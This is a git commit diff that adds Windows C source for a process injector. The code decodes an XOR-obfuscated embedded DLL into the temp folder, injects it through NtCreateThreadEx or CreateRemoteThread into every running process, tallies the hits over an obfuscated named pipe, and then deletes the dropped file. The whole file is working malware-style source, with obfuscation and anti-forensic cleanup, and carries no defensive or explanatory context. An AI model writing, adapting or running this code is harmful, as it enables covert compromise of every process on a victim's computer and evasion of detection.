Upload files to "/"

2026-06-28 15:16:28 +00:00
commit a22627cf4d
5 changed files with 6512 additions and 0 deletions
@@ -0,0 +1,128 @@
+#include <windows.h>
+#include <tlhelp32.h>
+#include "party_blob.h"
+
+typedef LONG NTSTATUS;
+typedef NTSTATUS (WINAPI *PFN_NtCreateThreadEx)(
+    HANDLE*, ACCESS_MASK, void*, HANDLE,
+    LPTHREAD_START_ROUTINE, void*, ULONG,
+    SIZE_T, SIZE_T, SIZE_T, void*);
+
+static PFN_NtCreateThreadEx g_NtCTE = NULL;
+static FARPROC g_loadlib = NULL;
+
+static BOOL inject_nte(DWORD pid, const WCHAR *dll_path) {
+    HANDLE hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
+    if (!hp) return FALSE;
+    SIZE_T path_bytes = (wcslen(dll_path)+1)*2;
+    LPVOID remote = VirtualAllocEx(hp, NULL, path_bytes+16, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
+    if (!remote) { CloseHandle(hp); return FALSE; }
+    SIZE_T written = 0;
+    WriteProcessMemory(hp, remote, dll_path, path_bytes, &written);
+    HANDLE hthread = NULL;
+    NTSTATUS st = 0;
+    if (g_NtCTE) {
+        st = g_NtCTE(&hthread, THREAD_ALL_ACCESS, NULL, hp,
+                      (LPTHREAD_START_ROUTINE)g_loadlib, remote, 0, 0, 0, 0, NULL);
+    } else {
+        DWORD tid = 0;
+        hthread = CreateRemoteThread(hp, NULL, 0, (LPTHREAD_START_ROUTINE)g_loadlib, remote, 0, &tid);
+        st = hthread ? 0 : -1;
+    }
+    BOOL ok = (st == 0 && hthread && hthread != INVALID_HANDLE_VALUE);
+    if (ok) CloseHandle(hthread);
+    CloseHandle(hp);
+    return ok;
+}
+
+static BOOL drop_dll(WCHAR *out_path) {
+    WCHAR tmp[MAX_PATH];
+    GetTempPathW(MAX_PATH, tmp);
+    SYSTEMTIME st; GetSystemTime(&st);
+    wsprintfW(out_path, L"%s%04x%04x%04x.dll",
+              tmp, st.wMilliseconds^0xAB3F,
+              (st.wSecond<<8)|st.wMinute,
+              GetCurrentProcessId()^0x1337);
+    BYTE *buf = (BYTE*)VirtualAlloc(NULL, PARTY_DLL_SIZE, MEM_COMMIT, PAGE_READWRITE);
+    if (!buf) return FALSE;
+    for (size_t i = 0; i < PARTY_DLL_SIZE; i++)
+        buf[i] = PARTY_DLL_DATA[i] ^ (BYTE)(i & 0xFF);
+    HANDLE hf = CreateFileW(out_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+    if (hf == INVALID_HANDLE_VALUE) { VirtualFree(buf, 0, MEM_RELEASE); return FALSE; }
+    DWORD w = 0;
+    WriteFile(hf, buf, (DWORD)PARTY_DLL_SIZE, &w, NULL);
+    CloseHandle(hf);
+    VirtualFree(buf, 0, MEM_RELEASE);
+    return (w == (DWORD)PARTY_DLL_SIZE);
+}
+
+typedef struct { DWORD pid; } PID_ENTRY;
+static int enum_pids(PID_ENTRY *out, int max) {
+    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+    if (snap == INVALID_HANDLE_VALUE) return 0;
+    PROCESSENTRY32W pe = { sizeof(pe) };
+    int n = 0;
+    if (Process32FirstW(snap, &pe)) do {
+        if (pe.th32ProcessID > 8 && n < max) {
+            out[n].pid = pe.th32ProcessID;
+            n++;
+        }
+    } while (Process32NextW(snap, &pe));
+    CloseHandle(snap);
+    return n;
+}
+
+static volatile LONG g_done = 0;
+static WCHAR g_pipe_name[64];
+
+static DWORD WINAPI pipe_server(void *unused) {
+    while (1) {
+        HANDLE h = CreateNamedPipeW(g_pipe_name,
+            PIPE_ACCESS_INBOUND,
+            PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT,
+            255, 64, 64, 0, NULL);
+        if (h == INVALID_HANDLE_VALUE) { Sleep(10); continue; }
+        ConnectNamedPipe(h, NULL);
+        DWORD pid=0, r=0;
+        ReadFile(h, &pid, 4, &r, NULL);
+        if (r == 4) InterlockedIncrement(&g_done);
+        CloseHandle(h);
+    }
+}
+
+static void build_pipe_name(WCHAR *out) {
+    const WCHAR prefix[] = L"\\\\.\\pipe\\";
+    const BYTE enc[] = {0x7c,0x62,0x7c,0x71,0x5f,0x71,0x60,0x7c,0x74,0x79};
+    wcscpy(out, prefix);
+    WCHAR *p = out + wcslen(prefix);
+    for (int i=0; i<10; i++) p[i] = (WCHAR)(enc[i]^0x11);
+    p[10] = 0;
+}
+
+int WINAPI WinMain(HINSTANCE hI, HINSTANCE hP, LPSTR cmd, int show) {
+    HMODULE hk32   = GetModuleHandleW(L"kernel32.dll");
+    HMODULE hntdll = LoadLibraryW(L"ntdll.dll");
+    g_loadlib = GetProcAddress(hk32, "LoadLibraryW");
+    if (hntdll)
+        g_NtCTE = (PFN_NtCreateThreadEx)GetProcAddress(hntdll, "NtCreateThreadEx");
+
+    WCHAR dll_path[MAX_PATH];
+    if (!drop_dll(dll_path)) return 1;
+
+    build_pipe_name(g_pipe_name);
+    CreateThread(NULL, 0, pipe_server, NULL, 0, NULL);
+
+    PID_ENTRY *pids = (PID_ENTRY*)VirtualAlloc(NULL, 4096*sizeof(PID_ENTRY), MEM_COMMIT, PAGE_READWRITE);
+    int n = enum_pids(pids, 4096);
+    DWORD my_pid = GetCurrentProcessId();
+
+    for (int i = 0; i < n; i++) {
+        if (pids[i].pid != my_pid)
+            inject_nte(pids[i].pid, dll_path);
+    }
+    VirtualFree(pids, 0, MEM_RELEASE);
+
+    Sleep(90000);
+    DeleteFileW(dll_path);
+    return 0;
+}